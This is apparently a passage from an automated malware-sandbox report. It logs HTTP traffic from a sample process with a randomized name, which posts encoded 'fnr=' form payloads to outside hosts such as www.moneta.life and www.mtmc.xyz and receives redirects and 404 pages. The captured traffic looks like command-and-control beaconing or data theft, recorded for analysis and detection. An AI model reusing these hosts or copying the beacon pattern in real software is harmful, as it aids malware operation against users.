                                                                                          Data Ascii: <html><body>You are now redirected to<br><a href="http://www.senova.com/5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8">http://www.senova.com/5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8</a></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          13192.168.2.54943113.248.169.48803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:21.667540073 CEST744OUTPOST /t37h/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.moneta.life
                                                                                          Origin: http://www.moneta.life
                                                                                          Referer: http://www.moneta.life/t37h/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 56 57 53 33 6f 4f 62 30 39 48 71 33 4d 33 57 5a 56 54 4b 64 48 4f 68 6b 56 50 74 61 65 61 47 6b 70 5a 31 34 2f 4a 67 68 67 4d 2f 4f 65 2f 71 31 51 61 65 53 5a 64 32 63 37 49 73 49 53 65 43 4f 75 7a 37 53 43 72 54 54 30 72 4e 6d 39 64 76 76 44 47 6a 74 32 71 67 54 5a 31 42 76 39 4b 4a 52 5a 6c 32 59 51 54 49 54 45 57 6e 64 34 4d 31 2b 69 76 66 77 49 4b 33 62 77 6e 46 69 73 6b 62 45 33 62 53 48 59 31 62 77 48 72 44 5a 63 6b 73 32 62 55 39 35 32 73 48 41 65 6a 6e 65 45 34 30 59 70 31 63 6f 67 33 34 70 55 50 65 66 43 51 45 66 4c 44 54 77 32 62 68 42 6a 62 75 63 68 6e 77 61 31 76 53 31 56 42 77 3d
                                                                                          Data Ascii: fnr=VWS3oOb09Hq3M3WZVTKdHOhkVPtaeaGkpZ14/JghgM/Oe/q1QaeSZd2c7IsISeCOuz7SCrTT0rNm9dvvDGjt2qgTZ1Bv9KJRZl2YQTITEWnd4M1+ivfwIK3bwnFiskbE3bSHY1bwHrDZcks2bU952sHAejneE40Yp1cog34pUPefCQEfLDTw2bhBjbuchnwa1vS1VBw=


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          14192.168.2.54943213.248.169.48803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:24.211556911 CEST764OUTPOST /t37h/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.moneta.life
                                                                                          Origin: http://www.moneta.life
                                                                                          Referer: http://www.moneta.life/t37h/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 56 57 53 33 6f 4f 62 30 39 48 71 33 44 30 4f 5a 47 67 79 64 46 75 68 6e 4a 66 74 61 58 36 48 74 70 5a 70 34 2f 49 6c 6b 67 2f 62 4f 51 2b 61 31 58 66 2b 53 59 64 32 63 6a 59 73 4e 4d 75 43 56 75 7a 6d 78 43 71 76 54 30 72 5a 6d 39 65 37 76 43 78 2f 73 6b 71 67 52 55 56 42 70 7a 71 4a 52 5a 6c 32 59 51 54 30 74 45 57 2f 64 6b 73 46 2b 6a 4f 66 7a 55 61 33 61 7a 6e 46 69 6f 6b 62 41 33 62 54 69 59 33 76 65 48 6f 37 5a 63 68 49 32 61 46 39 2b 6a 38 48 5a 51 44 6d 49 46 74 51 49 73 45 6c 6e 73 56 35 68 46 70 58 68 48 6d 31 31 52 68 62 59 6c 37 4e 35 7a 49 6d 72 77 58 52 7a 76 4d 43 46 4c 57 6b 6c 43 4f 4a 64 31 59 76 50 6d 75 49 70 72 56 69 59 6a 36 42 4b
                                                                                          Data Ascii: fnr=VWS3oOb09Hq3D0OZGgydFuhnJftaX6HtpZp4/Ilkg/bOQ+a1Xf+SYd2cjYsNMuCVuzmxCqvT0rZm9e7vCx/skqgRUVBpzqJRZl2YQT0tEW/dksF+jOfzUa3aznFiokbA3bTiY3veHo7ZchI2aF9+j8HZQDmIFtQIsElnsV5hFpXhHm11RhbYl7N5zImrwXRzvMCFLWklCOJd1YvPmuIprViYj6BK


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          15192.168.2.54943313.248.169.48803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:26.755789995 CEST1781OUTPOST /t37h/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.moneta.life
                                                                                          Origin: http://www.moneta.life
                                                                                          Referer: http://www.moneta.life/t37h/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 56 57 53 33 6f 4f 62 30 39 48 71 33 44 30 4f 5a 47 67 79 64 46 75 68 6e 4a 66 74 61 58 36 48 74 70 5a 70 34 2f 49 6c 6b 67 2f 54 4f 51 4a 79 31 58 35 32 53 62 64 32 63 39 49 73 4d 4d 75 43 55 75 7a 2f 34 43 71 69 6b 30 6f 68 6d 38 38 6a 76 54 31 4c 73 2b 36 67 52 64 31 42 73 39 4b 4a 49 5a 6b 48 52 51 53 59 74 45 57 2f 64 6b 75 64 2b 71 2f 66 7a 57 61 33 62 77 6e 46 55 73 6b 62 6b 33 61 37 55 59 33 37 67 47 5a 62 5a 66 42 34 32 5a 33 56 2b 69 63 48 4d 41 54 6d 41 46 74 56 50 73 46 49 59 73 55 4e 4c 46 75 62 68 48 68 51 6f 43 43 7a 6c 34 61 5a 4c 39 36 2b 6c 68 32 78 4c 76 2f 36 4e 50 57 41 4c 46 2f 49 77 31 39 53 4b 76 66 67 6e 33 79 53 4f 76 50 45 73 50 39 74 55 77 69 79 4b 65 39 65 6d 66 69 72 37 76 65 63 43 33 4f 59 54 4d 45 64 5a 4c 57 59 59 54 57 65 71 63 6f 44 5a 42 2f 34 69 79 4c 59 74 70 6e 49 58 4b 38 48 6d 79 78 6b 2f 6a 54 45 63 64 31 54 55 4b 7a 54 76 37 37 59 43 68 49 51 4a 6a 2f 74 41 32 4a 38 77 76 47 78 47 6e 64 52 71 7a 5a 51 72 2b 35 35 7a 36 6d 44 6f 62 2f 6e 48 57 31 [TRUNCATED]
                                                                                          Data Ascii: fnr=VWS3oOb09Hq3D0OZGgydFuhnJftaX6HtpZp4/Ilkg/TOQJy1X52Sbd2c9IsMMuCUuz/4Cqik0ohm88jvT1Ls+6gRd1Bs9KJIZkHRQSYtEW/dkud+q/fzWa3bwnFUskbk3a7UY37gGZbZfB42Z3V+icHMATmAFtVPsFIYsUNLFubhHhQoCCzl4aZL96+lh2xLv/6NPWALF/Iw19SKvfgn3ySOvPEsP9tUwiyKe9emfir7vecC3OYTMEdZLWYYTWeqcoDZB/4iyLYtpnIXK8Hmyxk/jTEcd1TUKzTv77YChIQJj/tA2J8wvGxGndRqzZQr+55z6mDob/nHW1dPdbBUwR3LMJ+DOe+TPti/JITrmBIG3krnxWOissfvvhoZ2wb786KeXJLFm12uL8vr8juZeJGqd3wU5CY1qdSXqMKFqS83YbN8Ygo2UnuzWjOAu3SG9or4eepaatZn63BooG5U2h+Prb/ZCgi46zlHpw3qKH9zIM9NczJWZ/nQGsl1IllaiWF65QtkY7ofUzezLv0fWVwS/fy8Fnt1ApzGHJ4naqxkDrvQjMB1cqOE6/jHoXXMUzQ0qDmvHf0kiGtaVz4f13c+9lkZZ4qzmbTGEspFo3NVIPowgPP1RvOZnrQVw/68f/xw2f0Jq35k51jsztGT6CtaXWhdm8UOgwMRXtQepQ8FpsywxKKiGQa9IoRz+9nLd7DBetRyB99PmAfobJ+ZLeK5C+ly/BUZDjlJ8UCdyse2IjmS6+N33iiM/dX4W8VRanzHUNuyayItD02MoBfjaSyb0QqO74wbk8WMxrqXoPEb55v+pj3Miye2Hn0eeJE8GGdIi7Q5yJk/btvLqDTIcrLeMVPy8ltj7U6xedl8A+ZethgpmGz5asXU+Mhy/99AGiJrfCde8IAjgw42jf54gIfzMzrIikHpd24Uwj2xcAUb2PFSf5j6kSMk6PRQLEaZlbHi5W+c8kGpOcSKZNCjXCGRvUr4oblKmyb0UlKOBALa4Yfz [TRUNCATED]


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          16192.168.2.54943413.248.169.48803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:29.296750069 CEST491OUTGET /t37h/?zB=nPlhZPwp4vxtG8&fnr=YU6Xr4zdmUr2DEnYSgTnPMRVMOxIdaj0jdxM9ul8ndvQYIWnd4GUQ+Xn64ceDqObkWjKSdqZ8fty4cyLHm2yzIJXTwlu9sUUeWuTYEIJMkPa6/ogidnqUaWGyS18qGeRjQ== HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.moneta.life
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:54:29.949511051 CEST409INHTTP/1.1 200 OK
                                                                                          Server: openresty
                                                                                          Date: Fri, 25 Oct 2024 14:54:29 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 269
                                                                                          Connection: close
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 7a 42 3d 6e 50 6c 68 5a 50 77 70 34 76 78 74 47 38 26 66 6e 72 3d 59 55 36 58 72 34 7a 64 6d 55 72 32 44 45 6e 59 53 67 54 6e 50 4d 52 56 4d 4f 78 49 64 61 6a 30 6a 64 78 4d 39 75 6c 38 6e 64 76 51 59 49 57 6e 64 34 47 55 51 2b 58 6e 36 34 63 65 44 71 4f 62 6b 57 6a 4b 53 64 71 5a 38 66 74 79 34 63 79 4c 48 6d 32 79 7a 49 4a 58 54 77 6c 75 39 73 55 55 65 57 75 54 59 45 49 4a 4d 6b 50 61 36 2f 6f 67 69 64 6e 71 55 61 57 47 79 53 31 38 71 47 65 52 6a 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?zB=nPlhZPwp4vxtG8&fnr=YU6Xr4zdmUr2DEnYSgTnPMRVMOxIdaj0jdxM9ul8ndvQYIWnd4GUQ+Xn64ceDqObkWjKSdqZ8fty4cyLHm2yzIJXTwlu9sUUeWuTYEIJMkPa6/ogidnqUaWGyS18qGeRjQ=="}</script></head></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          17192.168.2.54943569.57.163.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:35.043895006 CEST735OUTPOST /qee5/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.mtmc.xyz
                                                                                          Origin: http://www.mtmc.xyz
                                                                                          Referer: http://www.mtmc.xyz/qee5/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 32 62 74 55 71 79 58 66 31 30 4b 54 64 7a 47 53 74 79 75 47 41 61 2b 63 50 42 6b 6d 4d 37 36 5a 6e 4c 70 4a 61 39 34 58 4f 2f 59 31 48 38 33 4e 62 4b 4a 70 47 31 68 46 68 79 4f 32 64 2b 7a 62 46 73 66 36 44 32 37 6a 34 6d 6c 44 50 61 6b 51 65 34 6b 58 33 50 2f 7a 6a 77 2b 72 33 32 6e 64 62 37 6d 6a 78 47 35 58 78 56 50 78 57 4c 62 42 36 70 4e 56 36 5a 73 63 71 68 7a 38 76 30 7a 74 76 44 4e 73 55 65 73 5a 39 54 78 71 4b 30 4c 47 68 30 33 31 72 6a 41 47 47 42 4b 34 4f 30 6a 72 52 32 6e 66 33 47 50 31 4c 49 6b 6b 34 57 63 48 4d 78 6e 68 78 72 41 37 79 59 4a 57 51 43 2f 6c 4c 61 72 56 37 38 6f 3d
                                                                                          Data Ascii: fnr=2btUqyXf10KTdzGStyuGAa+cPBkmM76ZnLpJa94XO/Y1H83NbKJpG1hFhyO2d+zbFsf6D27j4mlDPakQe4kX3P/zjw+r32ndb7mjxG5XxVPxWLbB6pNV6Zscqhz8v0ztvDNsUesZ9TxqK0LGh031rjAGGBK4O0jrR2nf3GP1LIkk4WcHMxnhxrA7yYJWQC/lLarV78o=
                                                                                          Oct 25, 2024 16:54:35.754893064 CEST959INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:35 GMT
                                                                                          Server: Apache
                                                                                          Content-Length: 815
                                                                                          Connection: close
                                                                                          Content-Type: text/html
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 [TRUNCATED]
                                                                                          Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>404</h1></div><h2>Oops, The Page you are looking for can't be found!</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button">Search</button></form><a href="/"><span class="arrow"></span>Go Back</a></div></div></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          18192.168.2.54943669.57.163.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:37.584450006 CEST755OUTPOST /qee5/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.mtmc.xyz
                                                                                          Origin: http://www.mtmc.xyz
                                                                                          Referer: http://www.mtmc.xyz/qee5/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 32 62 74 55 71 79 58 66 31 30 4b 54 63 51 65 53 71 68 57 47 46 36 2b 54 42 68 6b 6d 47 62 36 56 6e 4c 74 4a 61 2b 31 4b 4e 4e 4d 31 47 65 66 4e 61 4c 4a 70 42 31 68 46 70 53 4f 7a 51 65 7a 51 46 74 6a 79 44 33 48 6a 34 6d 78 44 50 62 55 51 65 50 77 57 6d 50 2f 78 76 51 2b 6c 6f 47 6e 64 62 37 6d 6a 78 48 5a 78 78 56 58 78 57 36 72 42 37 4c 31 53 6b 4a 74 75 36 52 7a 38 34 6b 7a 70 76 44 4e 65 55 63 49 2f 39 52 35 71 4b 31 37 47 69 6c 33 32 6c 6a 41 41 4a 68 4b 71 4b 68 2b 46 5a 33 48 6d 34 77 61 73 53 72 38 43 30 41 74 74 57 54 76 4a 69 4c 73 44 69 4c 42 68 42 79 65 4d 52 35 37 6c 6c 72 38 61 6d 77 31 43 49 73 70 58 63 2b 30 65 59 6d 74 4a 73 32 6e 57
                                                                                          Data Ascii: fnr=2btUqyXf10KTcQeSqhWGF6+TBhkmGb6VnLtJa+1KNNM1GefNaLJpB1hFpSOzQezQFtjyD3Hj4mxDPbUQePwWmP/xvQ+loGndb7mjxHZxxVXxW6rB7L1SkJtu6Rz84kzpvDNeUcI/9R5qK17Gil32ljAAJhKqKh+FZ3Hm4wasSr8C0AttWTvJiLsDiLBhByeMR57llr8amw1CIspXc+0eYmtJs2nW
                                                                                          Oct 25, 2024 16:54:38.279113054 CEST959INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:38 GMT
                                                                                          Server: Apache
                                                                                          Content-Length: 815
                                                                                          Connection: close
                                                                                          Content-Type: text/html
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 [TRUNCATED]
                                                                                          Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>404</h1></div><h2>Oops, The Page you are looking for can't be found!</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button">Search</button></form><a href="/"><span class="arrow"></span>Go Back</a></div></div></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          19192.168.2.54943769.57.163.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:40.130033016 CEST1772OUTPOST /qee5/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.mtmc.xyz
                                                                                          Origin: http://www.mtmc.xyz
                                                                                          Referer: http://www.mtmc.xyz/qee5/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 32 62 74 55 71 79 58 66 31 30 4b 54 63 51 65 53 71 68 57 47 46 36 2b 54 42 68 6b 6d 47 62 36 56 6e 4c 74 4a 61 2b 31 4b 4e 4e 55 31 47 76 2f 4e 62 73 39 70 41 31 68 46 6f 53 4f 79 51 65 7a 33 46 74 37 32 44 33 4c 73 34 69 42 44 4f 35 73 51 63 2b 77 57 76 50 2f 78 79 41 2b 6b 33 32 6d 64 62 37 32 6e 78 48 70 78 78 56 58 78 57 35 7a 42 79 35 4e 53 6d 4a 73 63 71 68 7a 67 76 30 7a 42 76 44 56 4f 55 63 63 76 68 79 42 71 4c 57 54 47 6e 58 66 32 70 6a 41 34 41 78 4c 35 4b 68 36 47 5a 33 61 66 34 77 47 47 53 72 45 43 30 45 51 77 53 67 6e 32 34 72 6f 6b 69 4c 30 43 63 6b 75 64 61 62 4c 73 75 73 45 6c 38 45 67 72 66 37 56 4c 63 66 64 57 4d 42 6c 44 6d 51 4f 6e 74 77 4b 49 54 34 51 73 4e 6c 55 4f 6c 74 68 33 63 4c 4e 67 58 6c 39 53 4c 6f 31 44 68 45 38 2b 75 2f 45 4b 6c 56 79 79 42 6f 69 6a 42 63 5a 56 76 38 79 46 43 54 6d 63 64 66 49 5a 39 72 69 52 33 6b 74 36 56 42 6f 50 6d 51 51 62 30 51 4e 7a 6b 71 2b 4b 75 63 49 76 68 44 66 6e 4b 6d 67 65 50 2b 4f 58 49 70 72 4e 41 30 48 61 78 46 35 4e 4d 33 [TRUNCATED]
                                                                                          Data Ascii: fnr=2btUqyXf10KTcQeSqhWGF6+TBhkmGb6VnLtJa+1KNNU1Gv/Nbs9pA1hFoSOyQez3Ft72D3Ls4iBDO5sQc+wWvP/xyA+k32mdb72nxHpxxVXxW5zBy5NSmJscqhzgv0zBvDVOUccvhyBqLWTGnXf2pjA4AxL5Kh6GZ3af4wGGSrEC0EQwSgn24rokiL0CckudabLsusEl8Egrf7VLcfdWMBlDmQOntwKIT4QsNlUOlth3cLNgXl9SLo1DhE8+u/EKlVyyBoijBcZVv8yFCTmcdfIZ9riR3kt6VBoPmQQb0QNzkq+KucIvhDfnKmgeP+OXIprNA0HaxF5NM3JEvcj7C8GoS4cc1FRT9/WEWwfP+kDpqk0WXIZnl0Ukea+hb51WCi3QDwqR2xV9OoPT4g5LruZK4fe/hVmqH/efX7HSXvEmbIrxLXOXhtaV/389kvoVcPs1AsQKB/QMRG4eNRy5NM6tvFkx3n2KsouZDOYWKVh/dMJY9f+b3CmgF9B846ZL7Xc10y8azQNxAn/llM6svMmV1TN4LiOX76ul7K9FE/xWY+VNerXTGTfiPcJ/5voQGTjn/bK+9PX9HrFRObK1GYZYfBxKRE2GSF72QnD2RQCGcurrfjXJ2ZYbcFfLtD5OF2jEsoY63tXR4/SKKxcus1poJIlNjXgOKkWv2V+kTji7gpa275G4spjeFGRvQuE2pgXbKFu7hOMc/gHUzeX4h5LyW8Tg8PM3iyShlNGdvqaO9bMf0b1pW5xQLLdA7UrSlaq3EFULEzKVcVSP5XbXRvCnhdRB8HT57gfmEi/BW5aooXZgPBpoD3wT9NZwqCy8A21qiFxM1iZFR3dMgcLAPRw4CmQYX34CaVkWzXHnvPzcVy3r28G8QjzVEWybzTj1rSecyA6Md0JdvninFgOXJ9JxqNGzx3Dfk2lkZNlftsZoK5bhhc/LWcT4gqxXf6XvR/rl3pTGx4j49FKryGF/G9Ee0YLn8F52GM8BEFdcvRL8Z95s [TRUNCATED]
                                                                                          Oct 25, 2024 16:54:40.834464073 CEST959INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:40 GMT
                                                                                          Server: Apache
                                                                                          Content-Length: 815
                                                                                          Connection: close
                                                                                          Content-Type: text/html
